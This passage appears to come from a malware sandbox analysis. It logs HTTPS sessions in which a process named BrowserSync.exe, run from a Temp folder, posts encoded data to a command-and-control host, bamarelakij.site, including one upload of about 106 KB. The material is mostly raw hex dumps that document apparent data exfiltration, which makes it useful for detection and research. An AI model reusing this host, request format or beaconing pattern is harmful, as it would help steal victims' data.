8&8eK=w)::7T&5d&5EEH"?&eK=w)9;73&NeK=w)66:t&B/MZ\{`&N[>]@r
2025-01-09 13:41:13 UTC	1369	IN	Data Raw: 04 00 04 02 1b 16 07 1f 0b 26 d1 d1 fd c9 0a 3b 5b c8 86 64 7a 61 04 15 00 3e 0f cc 06 08 00 08 02 1b 16 07 1f 0b 26 c0 c0 a0 3e 0f 88 48 7c 22 bf 27 e4 94 f9 9b 66 f2 eb 54 a1 b5 11 00 8f 00 25 04 04 00 04 02 1b 16 07 1f 0b 26 d1 d1 ae 8f 00 15 9d 2c 85 5a 7a 70 02 15 00 f3 05 5d 0b 09 00 08 02 1b 16 07 1f 0b 26 d6 d6 f2 f3 05 65 06 ab 4b 3d 77 95 29 b7 38 b2 39 b0 17 b2 3c b2 11 00 d4 0c 72 00 04 00 04 02 1b 16 07 1f 0b 26 d1 d1 4e d4 0c 87 80 23 e7 c8 86 8a 65 11 00 9a 0f f2 07 04 00 04 02 1b 16 07 1f 0b 26 d1 d1 ae 9a 0f cc af c8 a7 6b aa 61 25 11 00 9b 08 47 0f 04 00 04 02 1b 16 07 1f 0b 26 d1 d1 ae 9b 08 17 6c e5 2f 58 8b b9 a8 15 00 d1 0c 3a 06 08 00 08 02 1b 16 07 1f 0b 26 c0 c0 4e d1 0c aa f1 e1 a8 95 c2 ef cf de 22 fb 78 c1 b1 aa ee 11 00 94 0e Data Ascii: &;[dza>&>H\|"'fT%&,Zzp]&eK=w)89<r&N#e&ka%G&l/X:&N"x
2025-01-09 13:41:13 UTC	1369	IN	Data Raw: 0b 26 d1 d1 d1 b7 02 23 2b 61 07 6d 2d c8 85 15 00 d7 01 59 0d 08 00 08 02 1b 16 07 1f 0b 26 d6 d6 a0 d7 01 65 06 ab 4b 3d 77 95 29 a0 36 36 10 a6 b0 b4 36 11 00 fd 0e 02 0e 04 00 04 02 1b 16 07 1f 0b 26 d1 d1 4e fd 0e 5c a1 1a dc 12 a7 b3 5e 15 00 84 0d aa 0b 0a 00 08 02 1b 16 07 1f 0b 26 d6 d6 a0 84 0d 65 06 ab 4b 3d 77 95 29 15 b6 b2 3a b0 32 b0 3a b0 15 15 00 93 06 05 07 0e 00 08 02 1b 16 07 1f 0b 26 d6 d6 e5 93 06 65 06 ab 4b 3d 77 95 29 26 b7 b1 b0 36 22 b4 39 b2 b1 3a b7 39 bc 15 00 a1 03 0e 04 1b 00 08 02 1b 16 07 1f 0b 26 d6 d6 4e a1 03 65 06 ab 4b 3d 77 95 29 bb b0 36 36 b2 3a b9 2e 21 b4 3a b1 b7 b4 37 a1 b7 39 b2 2e bb b0 36 36 b2 3a b9 15 00 3f 0f 22 09 0e 00 08 02 1b 16 07 1f 0b 26 d6 d6 6c 3f 0f 65 06 ab 4b 3d 77 95 29 b5 b7 3a b0 3a b7 b3 Data Ascii: &#+am-Y&eK=w)666&N\^&eK=w):2:&eK=w)&6"9:9&NeK=w)66:.!:79.66:?"&l?eK=w)::
2025-01-09 13:41:13 UTC	1369	IN	Data Raw: 84 a6 40 69 82 0f c2 11 00 f2 0b bb 05 04 00 04 02 1b 16 07 1f 0b 26 d1 d1 4e f2 0b 12 3f ba ee 5c 39 13 6c 15 00 c5 03 b2 05 08 00 08 02 1b 16 07 1f 0b 26 d6 d6 50 c5 03 65 06 ab 4b 3d 77 95 29 38 39 b7 33 b4 36 b2 b9 11 00 fa 0a 8f 0c 04 00 04 02 1b 16 07 1f 0b 26 d1 d1 6c fa 0a dc 60 ac 59 99 66 05 db 15 00 f1 0a 69 03 06 00 08 02 1b 16 07 1f 0b 26 d6 d6 4e f1 0a 65 06 ab 4b 3d 77 95 29 a2 3c b7 32 ba b9 15 00 75 05 02 00 1a 00 08 02 1b 16 07 1f 0b 26 d6 d6 e5 75 05 65 06 ab 4b 3d 77 95 29 28 39 b7 b3 39 b0 b6 b9 2e ab b4 37 a9 a1 28 2e ab b4 37 a9 a1 28 17 b4 37 b4 15 00 c5 04 8f 07 09 00 08 02 1b 16 07 1f 0b 26 d6 d6 ae c5 04 65 06 ab 4b 3d 77 95 29 a6 a0 27 a4 23 a2 a9 2a 15 15 00 ef 01 15 04 01 00 08 02 1b 16 07 1f 0b 26 d6 d6 a0 ef 01 65 06 ab 4b Data Ascii: @i&N?\9l&PeK=w)8936&l`Yfi&NeK=w)<2u&ueK=w)(99.7(.7(7&eK=w)'#*&eK
2025-01-09 13:41:13 UTC	1369	IN	Data Raw: 56 4e 55 35 89 56 71 1d 25 0b 74 15 00 f1 03 e1 0c 08 00 08 02 1b 16 07 1f 0b 26 d6 d6 50 f1 03 65 06 ab 4b 3d 77 95 29 38 39 b7 33 b4 36 b2 b9 15 00 51 0e e8 0c 09 00 08 02 1b 16 07 1f 0b 26 d6 d6 50 51 0e 65 06 ab 4b 3d 77 95 29 b9 b2 b1 b6 b7 32 17 32 31 15 00 f8 0a d5 00 0b 00 08 02 1b 16 07 1f 0b 26 d6 d6 e5 f8 0a 65 06 ab 4b 3d 77 95 29 28 39 b7 3c bc a6 b2 3a 34 b7 32 15 00 eb 05 f1 06 09 00 08 02 1b 16 07 1f 0b 26 d6 d6 11 eb 05 65 06 ab 4b 3d 77 95 29 ba b9 b2 39 17 b1 b7 37 33 11 00 48 01 84 09 04 00 04 02 1b 16 07 1f 0b 26 d1 d1 ae 48 01 20 53 91 08 6e 55 38 8a 15 00 be 0d 24 0b 24 00 08 02 1b 16 07 1f 0b 26 d6 d6 ae be 0d 65 06 ab 4b 3d 77 95 29 a3 b7 b7 b3 36 b2 2e a1 34 39 b7 b6 b2 2e a0 38 38 36 b4 b1 b0 3a b4 b7 37 2e b1 34 39 b7 b6 b2 17 Data Ascii: VNU5Vq%t&PeK=w)8936Q&PQeK=w)221&eK=w)(9<:42&eK=w)973H&H SnU8$$&eK=w)6.49.886:7.49
2025-01-09 13:41:13 UTC	1369	IN	Data Raw: 70 11 00 58 0a 68 02 04 00 04 02 1b 16 07 1f 0b 26 d1 d1 ae 58 0a 4b c3 a4 7d 04 24 f8 fa 11 00 9f 04 65 09 04 00 04 02 1b 16 07 1f 0b 26 d1 d1 6c 9f 04 38 fd 90 24 77 fb 39 a6 15 00 fc 0d 99 07 06 00 08 02 1b 16 07 1f 0b 26 d6 d6 6c fc 0d 65 06 ab 4b 3d 77 95 29 38 39 b2 33 b4 3c 15 00 3e 09 34 06 08 00 08 02 1b 16 07 1f 0b 26 c0 c0 2f 3e 09 88 46 25 d7 35 c3 21 51 fc 95 3f 07 61 b0 64 70 15 00 85 0d 9f 02 08 00 08 02 1b 16 07 1f 0b 26 d6 d6 ae 85 0d 65 06 ab 4b 3d 77 95 29 38 39 b7 33 b4 36 b2 b9 15 00 ca 00 5e 02 04 00 08 02 1b 16 07 1f 0b 26 d6 d6 a0 ca 00 65 06 ab 4b 3d 77 95 29 15 17 32 31 15 00 67 00 73 05 35 00 08 02 1b 16 07 1f 0b 26 d6 d6 ae 67 00 65 06 ab 4b 3d 77 95 29 a1 1d 2e 28 39 b7 b3 39 b0 b6 10 23 b4 36 b2 b9 2e a3 b7 b7 b3 36 b2 2e a1 Data Ascii: pXh&XK}$e&l8$w9&leK=w)893<>4&/>F%5!Q?adp&eK=w)8936^&eK=w)21gs5&geK=w).(99#6.6.
2025-01-09 13:41:13 UTC	1369	IN	Data Raw: 05 00 08 02 1b 16 07 1f 0b 26 d6 d6 a0 db 00 65 06 ab 4b 3d 77 95 29 2a 39 b0 b9 34 15 00 5e 0d 33 07 21 00 08 02 1b 16 07 1f 0b 26 d6 d6 6c 5e 0d 65 06 ab 4b 3d 77 95 29 b6 b2 b9 b9 b2 37 b3 b2 39 b9 2e 2a b2 36 b2 b3 39 b0 b6 2e 22 b2 b9 b5 3a b7 38 2e 3a 32 b0 3a b0 15 00 68 05 4b 0b 11 00 08 02 1b 16 07 1f 0b 26 d6 d6 ae 68 05 65 06 ab 4b 3d 77 95 29 b1 34 39 b7 b6 b4 ba b6 af 31 39 b7 bb b9 b2 39 b9 15 00 b2 09 5a 06 11 00 08 02 1b 16 07 1f 0b 26 d6 d6 ae b2 09 65 06 ab 4b 3d 77 95 29 b1 34 39 b7 b6 b4 ba b6 af 31 39 b7 bb b9 b2 39 b9 15 00 a2 02 e6 05 0a 00 08 02 1b 16 07 1f 0b 26 d6 d6 f2 a2 02 65 06 ab 4b 3d 77 95 29 aa b9 b2 39 96 a0 b3 b2 37 3a 15 00 ee 0a 12 0e 08 00 08 02 1b 16 07 1f 0b 26 c0 c0 a0 ee 0a 02 f3 dc 10 d9 1f a7 a1 72 20 c6 c0 8d Data Ascii: &eK=w)94^3!&l^eK=w)79.69.":8.:2:hK&heK=w)49199Z&eK=w)49199&eK=w)97:&r
2025-01-09 13:41:13 UTC	1369	IN	Data Raw: 4f 00 08 02 1b 16 07 1f 0b 26 d6 d6 ae d0 00 65 06 ab 4b 3d 77 95 29 a4 37 32 b2 3c b2 32 22 21 2e b1 34 39 b7 b6 b2 96 b2 3c 3a b2 37 b9 b4 b7 37 af b3 b7 35 34 b1 32 b3 b1 38 31 38 33 b4 b3 b1 b0 b2 35 38 33 34 33 b2 b3 b2 b5 32 b3 b4 31 36 b5 af 18 17 b4 37 32 b2 3c b2 32 32 31 17 36 b2 3b b2 36 32 31 15 00 86 0b 23 0e 0d 00 08 02 1b 16 07 1f 0b 26 d6 d6 f2 86 0b 65 06 ab 4b 3d 77 95 29 36 b4 31 39 b2 bb b7 36 33 17 b2 3c b2 15 00 39 0f 92 00 08 00 08 02 1b 16 07 1f 0b 26 c0 c0 fd 39 0f 86 a2 11 bb c7 d6 1e d7 f2 71 0b 6b 93 a5 5b f6 15 00 67 01 8f 0f 09 00 08 02 1b 16 07 1f 0b 26 d6 d6 2f 67 01 65 06 ab 4b 3d 77 95 29 a9 3a b2 b0 b6 28 b0 3a 34 15 00 1c 08 bc 09 07 00 08 02 1b 16 07 1f 0b 26 d6 d6 ae 1c 08 65 06 ab 4b 3d 77 95 29 a1 aa 29 29 a2 27 2a Data Ascii: O&eK=w)72<2"!.49<:7754281835834321672<2216;621#&eK=w)61963<9&9qk[g&/geK=w):(:4&eK=w)))'*

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49887	172.67.174.91	443	6108	C:\Users\user\AppData\Local\Temp\BrowserSync.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 13:41:14 UTC	407	OUT	POST /64.htm?hkv47kov=jujLeecKnLDxH4%2Fn3Gf%2FcLOXX1VHlofmE6nbrKOrHhL4GuQ5YkbXRU4eMxxn6chYW44JbQRqTNknnCoZoJ5qDg%3D%3D HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 x: PuwyymoQi+JtPN4ute+6ODpPd+ApSWsY9IWQJs6G8Wi2/wA3/Nkcmc/Wio/7MyGLdkzTj8aV5zw Content-Length: 53 Host: bamarelakij.site
2025-01-09 13:41:14 UTC	53	OUT	Data Raw: 00 00 00 00 fd ff ff ff 00 00 00 00 03 00 00 00 92 00 03 00 00 00 00 fe ff ff ff 00 00 00 00 02 00 00 00 91 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii:
2025-01-09 13:41:14 UTC	750	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 13:41:14 GMT Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BFzF58bEeFbFuc6xyQzNnNcUzvvpn3Kmn6%2FKzu3BWz15F9KOAv2niRY91UBqezDxtQKEOm%2BOh0YigGxW6lo%2F%2Bsr3Papn1D0599P6O3YpdSMMP01vnBrOxrB4H8bfJeF2uWF5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff4d7fb8bac0cc2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1711&min_rtt=1700&rtt_var=660&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2837&recv_bytes=1096&delivery_rate=1631284&cwnd=176&unsent_bytes=0&cid=02b58cc2b3617a0e&ts=332&x=0"
2025-01-09 13:41:14 UTC	29	IN	Data Raw: 31 37 0d 0a 00 00 00 00 fe ff ff ff 00 00 00 00 07 00 00 00 91 91 ce 1a a0 9d bc 0d 0a Data Ascii: 17
2025-01-09 13:41:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49994	172.67.174.91	443	4324	C:\Users\user\AppData\Local\Temp\BrowserSync.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 13:41:30 UTC	411	OUT	POST /64.htm?hkv47kov=jujLeecKnLDxH4%2Fn3Gf%2FcLOXX1VHlofmE6nbrKOrHhL4GuQ5YkbXRU4eMxxn6chYW44JbQRqTNknnCoZoJ5qDg%3D%3D HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 x: PuwyymoQi+JtPN4ute+6ODpPd+ApSWsY9IWQJs6G8Wi2/wA3/Nkcmc/Wio/7MyGLdkzTj8aV5zw Content-Length: 106564 Host: bamarelakij.site
2025-01-09 13:41:30 UTC	15331	OUT	Data Raw: 00 00 00 00 fd ff ff ff 00 00 00 00 03 00 00 00 92 00 01 95 00 00 00 e8 96 ef 00 08 00 00 00 b9 49 01 00 45 ab c5 66 71 e3 95 29 00 00 00 00 74 4b f7 00 00 00 00 00 eb 01 00 00 c9 60 48 49 4c 60 48 53 a1 34 39 b7 b6 b2 ec 1a a1 1d 2e aa b9 b2 39 b9 2e 35 b7 37 b2 b9 2e a0 38 38 22 b0 3a b0 2e 26 b7 b1 b0 36 2e a3 b7 b7 b3 36 b2 2e a1 34 39 b7 b6 b2 2e aa b9 b2 39 10 22 b0 3a b0 c8 cc 60 48 d3 22 b2 33 b0 ba 36 3a ec 1e a1 1d 2e aa b9 b2 39 b9 2e 35 b7 37 b2 b9 2e a0 38 38 22 b0 3a b0 2e 26 b7 b1 b0 36 2e a3 b7 b7 b3 36 b2 2e a1 34 39 b7 b6 b2 2e aa b9 b2 39 10 22 b0 3a b0 2e 22 b2 33 b0 ba 36 3a ec 1a b1 34 39 b7 b6 b4 ba b6 af 31 39 b7 bb b9 b2 39 b9 2e a1 34 39 b7 b6 b2 2e 38 39 b7 33 b4 36 b2 b9 2e 22 b2 33 b0 ba 36 3a 2e 26 b7 b3 b4 37 10 22 b0 3a b0 Data Ascii: IEfq)tK`HIL`HS49.9.57.88":.&6.6.49.9":`H"36:.9.57.88":.&6.6.49.9":."36:49199.49.8936."36:.&7":
2025-01-09 13:41:30 UTC	15331	OUT	Data Raw: de 5d 60 66 2d 42 f5 40 44 aa 2b f1 83 6b 82 be 02 fb 12 0e 0a b0 ae 1a 02 c9 7d eb bb 24 5f 21 36 1e 3d 95 74 6c 23 93 dc 4b ae ac 63 d8 2e 42 28 ec 3d 29 0b 22 4b 68 0d b0 34 65 2d 41 25 5e 58 a6 79 d6 ae 2b f5 0a ee 6f 1d 9a 1f 18 a6 ab ab 1b e1 92 62 7b 59 dd e9 5a 00 45 ff 88 6b 83 50 79 f7 cb 52 ec 46 0f 0c 1f c5 3a 05 90 28 6d 35 72 59 cc e6 c8 42 59 af 0f 23 1e 4b 31 a9 f4 05 bd 1e 31 d9 f5 0d 34 57 2f 63 7a c1 3d 25 09 b9 1e 68 e1 84 85 be a1 c7 96 07 27 7e d6 ce 84 af ae a8 f2 26 3c ba 5f a1 e4 78 f9 84 24 6e ee 9f 2c 3f f9 6d 56 47 2b ce b0 d3 83 28 24 6f 40 82 42 35 0e 8e 47 96 e1 2b c2 26 8d bc cb 7b ca a3 90 55 7b f0 8f e6 e0 6f e0 c1 34 b6 d1 3b b3 6b f2 14 b2 ad 80 90 87 3f 7b f1 a1 6e af c1 70 8c dd 78 3e b2 4a ba a8 72 42 03 31 e7 b1 34 Data Ascii: ]`f-B@D+k}$_!6=tl#Kc.B(=)"Kh4e-A%^Xy+ob{YZEkPyRF:(m5rYBY#K114W/cz=%h'~&<_x$n,?mVG+($o@B5G+&{U{o4;k?{npx>JrB14
2025-01-09 13:41:30 UTC	15331	OUT	Data Raw: a7 4e f7 1f 20 30 16 4c c3 95 72 68 fe c4 ac 50 e3 c7 d2 7b 2b aa 64 f2 25 00 11 e0 d7 46 92 c5 6d 54 8f 0e f4 54 da 53 36 af 94 2b a9 bf 63 7f 35 1f 1f e0 d8 33 bd e5 95 4e 2d 94 40 f6 35 00 b5 bf a5 de 93 03 1f 8a 5d e9 ca da 53 ca f7 3d 70 13 5c d5 a5 54 6e ba e9 b8 97 2a e1 35 64 1c a0 27 21 9c f5 c1 79 c0 83 94 66 e7 95 16 a5 d2 a0 96 ab d3 f9 24 52 9b 09 21 03 4a 27 e9 2c 3e 9d 7d 98 1e 93 93 77 b1 90 f8 51 9e 31 89 5f b5 74 bc 47 9f 43 bb 99 03 ee 68 f7 dc 7a ba a7 68 5b 3c 72 86 69 61 e3 1a 75 8e 49 63 e5 40 27 c4 fc f2 53 c3 27 f4 dc 2b de 20 1a bb c0 59 de 24 1e bb 1d d2 80 f3 20 14 05 ab 9e ed d6 f7 26 82 b8 10 a3 91 45 07 5b 76 67 aa 0a d8 52 9a bb 18 cd d1 da 1e d4 2f a7 ec 36 0a 80 cc b8 b9 6f 72 a1 8b f3 48 19 1b 13 c0 3e b8 45 c8 33 57 eb Data Ascii: N 0LrhP{+d%FmTTS6+c53N-@5]S=p\Tn*5d'!yf$R!J',>}wQ1_tGChzh[<riauIc@'S'+ Y$ &E[vgR/6orH>E3W
2025-01-09 13:41:30 UTC	15331	OUT	Data Raw: d6 b6 63 d1 c3 cd 2d 8e c9 ea b1 c8 e8 28 52 90 f2 83 08 48 86 54 3c 24 9f 15 76 b3 9d 93 06 07 9a e6 c8 98 30 f8 48 3f 6c 0a 91 e7 ea d7 61 8a e9 80 38 38 55 b0 4f 46 80 47 87 76 d1 3d 1a 57 24 0d 07 18 52 45 7a 13 d8 29 57 19 62 9b 2e 1d a9 65 50 f8 3c 5c 13 9e 87 b8 49 6a 47 0b 42 4b fd 26 81 11 1b da 21 8f 87 b1 7c 65 e8 e1 93 ab e6 e4 da db 21 6a cd 1c 3e f8 cb 61 fe ff 77 64 c6 82 1d 92 74 c6 bc 11 e8 cd 61 0c 77 b9 3a 58 6c eb 39 de 8c 56 f0 3f 93 87 e5 3e 9a df 4b 7f 06 d0 9b 6b 44 42 8f 45 be dc e7 14 10 31 ae 95 7a f0 18 43 8b 0c 9e 1e 7b ea 1e ed 3d a5 42 ef c4 e1 38 bf e4 f9 82 1d 96 74 c6 b2 11 e8 dd 61 0c 4f f9 3a 58 5c 69 39 be 0d 56 f0 bd 93 87 93 be 9a 83 cb 7f 16 50 9b 5b 04 4e 8f 05 35 dc e7 19 10 31 33 96 7a 5d 58 43 ed 0d 1e 26 3b 4b Data Ascii: c-(RHT<$v0H?la88UOFGv=W$REz)Wb.eP<\IjGBK&!\|e!j>awdtaw:Xl9V?>KkDBE1zC{=B8taO:X\i9VP[N513z]XC&;K
2025-01-09 13:41:30 UTC	15331	OUT	Data Raw: b6 b1 3c 4e 89 a3 1f 60 96 59 e1 d6 64 db 5c a2 2b 96 16 22 f7 75 4e 74 86 df 68 d5 6c 34 c9 b6 35 c9 b6 5b 27 fb 7d de 8f 3d 99 49 05 a0 cc d9 e6 3b a4 12 06 ed e7 f7 0b c3 61 b5 f6 49 27 df 89 37 1f 2c dd a5 1d c8 8f a7 98 5d b5 c7 ef c4 db 6b 67 73 7d f0 c2 1f ff de a9 8c 18 84 6a d3 18 6e 93 c6 5b bd 4d 02 a7 b1 e9 9f 61 6f bc 49 74 34 5f 33 d2 d9 33 f1 4b b7 8f 26 21 62 98 4c a4 26 ee 8f 70 8c f9 e6 b0 e2 bf 6b 9e 37 92 96 3b 1b eb 87 95 51 a0 82 9b 49 45 10 d9 f1 d8 2a 84 a3 da 5f a7 a6 ec 27 2d 37 0e f5 1f d0 53 36 e3 26 ed 42 5b 6d a8 8f a7 6c 3f 72 f5 07 95 17 b3 03 88 11 16 de 37 29 cd 1c 41 19 a3 7a 6f f5 cc 7c ea 5f ea 99 1c 16 90 42 63 23 8a 2a 7c c3 d8 9f 8f a9 23 c7 23 ca 6c 39 87 00 60 18 68 8c cf 20 f3 ea 69 6d 3c d4 28 16 ca 45 e2 21 58 Data Ascii: <N`Yd\+"uNthl45['}=I;aI'7,]kgs}jn[MaoIt4_33K&!bL&pk7;QIE_'-7S6&B[ml?r7)Azo\|_Bc#\|##l9`h im<(E!X
2025-01-09 13:41:30 UTC	15331	OUT	Data Raw: bd 59 37 36 cf 1d 38 21 01 8c 59 be 77 23 65 2a 02 c1 49 d2 1f fe 32 4d cb ff 33 5b 81 06 75 f9 d7 cf 94 6f e4 c1 6d d4 dd da 8a 03 0f da c2 76 07 67 33 19 28 af 9c 5e e1 21 8c 87 c3 e6 5a 18 72 19 07 c9 fc 9e 43 92 b4 0b 3e 0d 5a 14 b9 31 bb 78 8a 31 e8 0e 4e 7c f7 fa 15 91 04 a2 bd 1e 2f 46 35 0b 0b 6f e0 99 d5 a2 04 fc 95 f2 44 fd 82 3b f2 f4 5d e0 e7 8e 6c ec 79 d1 4f 69 f5 79 aa 97 3e 77 2a ee 04 6b 07 2e 32 f0 a4 22 ac 37 b0 fe b9 5c ff 87 00 00 28 9e 0c ff 80 00 00 55 83 fc ff 80 00 00 55 83 eb ff 00 00 00 ea 99 a7 04 e8 7a f7 89 fe fd 25 90 00 00 00 5e bb 1e 7c 28 f6 72 c1 e4 df ff 8d 1e 43 79 76 85 a3 c9 f8 ff 83 22 ff c0 09 83 00 00 00 f7 92 87 6a 27 35 75 8b 40 c3 38 ff 8f 00 00 50 3d 78 f7 ff 00 00 00 55 83 eb ff 00 00 00 ea c1 f5 bf 00 00 40 Data Ascii: Y768!Yw#eI2M3[uomvg3(^!ZrC>Z1x1N\|/F5oD;]lyOiy>wk.2"7\(UUz%^\|(rCyv"j'5u@8P=xU@
2025-01-09 13:41:30 UTC	14578	OUT	Data Raw: 90 6a 10 7e 78 c5 f2 fd af 62 07 8c 73 11 a7 54 89 eb 3e f2 7e b6 df 59 52 b8 f3 6c 9d 5b 03 87 ec 5c 78 3c a1 ae c3 76 e1 f2 3b 49 f2 45 79 ee fa b9 d5 c7 67 18 2b ea df 7d be 21 10 88 39 f4 62 e7 f0 ac f1 c2 8c 76 fc ca ef 9e 95 6f b3 88 9a ba 6b de 07 2b 0d 8b cd 5e 18 85 f3 58 e9 95 7d cb 7b 7e be a1 aa df f8 19 f8 7e c2 72 ee 95 ac 5d fe 0e c1 3a 12 52 d0 fd 6e f6 e5 6b 66 1b a4 9a 07 c6 f7 4f e8 57 52 76 dc 5c 50 70 7e b0 d9 b6 8e 5c f0 be f5 93 9e cb 9f d6 6e 9c 33 a8 45 cf e7 12 79 a6 6f f2 e4 e3 5e a7 87 7c d6 3d 47 fc fc c5 c7 1b 9a 05 d5 b5 dd 23 b6 97 07 4f 3e 1b f3 77 c9 78 8b bb 87 23 96 77 b6 6a 08 58 de 7c f8 71 71 68 21 ab e4 b7 bb 77 d7 7b 2f a3 2e 45 55 75 94 ae 9e c2 dd 6b b9 3b d8 b4 6f 6d 7d db 93 ed 67 b8 b2 ea 56 7a 4f 2d 78 af 2e Data Ascii: j~xbsT>~YRl[\x<v;IEyg+}!9bvok+^X}{~~r]:RnkfOWRv\Pp~\n3Eyo^\|=G#O>wx#wjX\|qqh!w{/.EUuk;om}gVzO-x.
2025-01-09 13:41:31 UTC	821	IN	HTTP/1.1 204 No Content Date: Thu, 09 Jan 2025 13:41:31 GMT Connection: close ews: PuwyymoQi+JtPN4ute+6ODpPd+ApSWsY9IWQJs6G8Wi2/wA3/Nkcmc/Wio/7MyGLdkzTj8aV5zw cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=62%2BAPX2ZfdRguVi9%2Bc2EoqbeNXyxpMYTSyIUGVOc5AWqEJ2VvvryQiYCn1uj0RdrP%2B1LY8yV0%2Fmtg9D1yVd%2FOj%2B6wJP06uO2S5JULJWwuUUinWw2NyoABNeCNrV56Vl%2FrWfi"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff4d861abfd41f9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1609&min_rtt=1605&rtt_var=610&sent=42&recv=114&lost=0&retrans=0&sent_bytes=2837&recv_bytes=107897&delivery_rate=1782661&cwnd=216&unsent_bytes=0&cid=593c685d9b8f959a&ts=757&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	50002	172.67.174.91	443	4324	C:\Users\user\AppData\Local\Temp\BrowserSync.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 13:41:31 UTC	408	OUT	POST /64.htm?hkv47kov=jujLeecKnLDxH4%2Fn3Gf%2FcLOXX1VHlofmE6nbrKOrHhL4GuQ5YkbXRU4eMxxn6chYW44JbQRqTNknnCoZoJ5qDg%3D%3D HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 x: PuwyymoQi+JtPN4ute+6ODpPd+ApSWsY9IWQJs6G8Wi2/wA3/Nkcmc/Wio/7MyGLdkzTj8aV5zw Content-Length: 745 Host: bamarelakij.site
2025-01-09 13:41:31 UTC	745	OUT	Data Raw: 00 00 00 00 fd ff ff ff 00 00 00 00 03 00 00 00 92 00 01 95 00 00 00 57 c7 9e 19 08 00 00 00 95 00 00 00 45 ab c5 66 71 e3 95 29 00 00 00 00 ab e3 4f 8c 00 00 00 00 81 00 00 00 49 60 48 00 00 00 00 ab e3 4f 8c 00 00 00 00 31 00 00 00 28 a5 03 03 16 00 00 00 00 00 00 00 96 00 96 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 a5 03 83 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 28 a5 82 03 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 95 00 00 00 18 5c d7 2b 08 00 00 00 a7 00 00 00 45 ab c5 66 71 e3 95 29 00 00 00 00 0c 2e eb 95 00 00 00 00 8a 00 00 00 49 60 49 ca 60 01 80 d1 49 60 00 50 ca 60 80 80 d1 49 60 00 50 00 00 Data Ascii: WEfq)OI`HO1(((\+Efq).I`I`I`P`I`P
2025-01-09 13:41:32 UTC	816	IN	HTTP/1.1 204 No Content Date: Thu, 09 Jan 2025 13:41:32 GMT Connection: close ews: PuwyymoQi+JtPN4ute+6ODpPd+ApSWsY9IWQJs6G8Wi2/wA3/Nkcmc/Wio/7MyGLdkzTj8aV5zw cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2F3nBm%2FKwNOUGWCG%2FRKT%2F%2BvVpr8ah0IqQMK0miVhe%2F1yP5tzZezuY4FRw3exwJBfMMZKXDBpCbC0yRN4wmQouomMr87u6isqGq6Qret4v7khy16MpErDjx%2BeIwVjkZJrKbczY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff4d86a89c1f5fa-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1687&min_rtt=1673&rtt_var=655&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2838&recv_bytes=1789&delivery_rate=1635854&cwnd=252&unsent_bytes=0&cid=3b996c2ecbeef4ea&ts=329&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	50008	172.67.174.91	443	4324	C:\Users\user\AppData\Local\Temp\BrowserSync.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 13:41:32 UTC	408	OUT	POST /64.htm?hkv47kov=jujLeecKnLDxH4%2Fn3Gf%2FcLOXX1VHlofmE6nbrKOrHhL4GuQ5YkbXRU4eMxxn6chYW44JbQRqTNknnCoZoJ5qDg%3D%3D HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 x: PuwyymoQi+JtPN4ute+6ODpPd+ApSWsY9IWQJs6G8Wi2/wA3/Nkcmc/Wio/7MyGLdkzTj8aV5zw Content-Length: 212 Host: bamarelakij.site
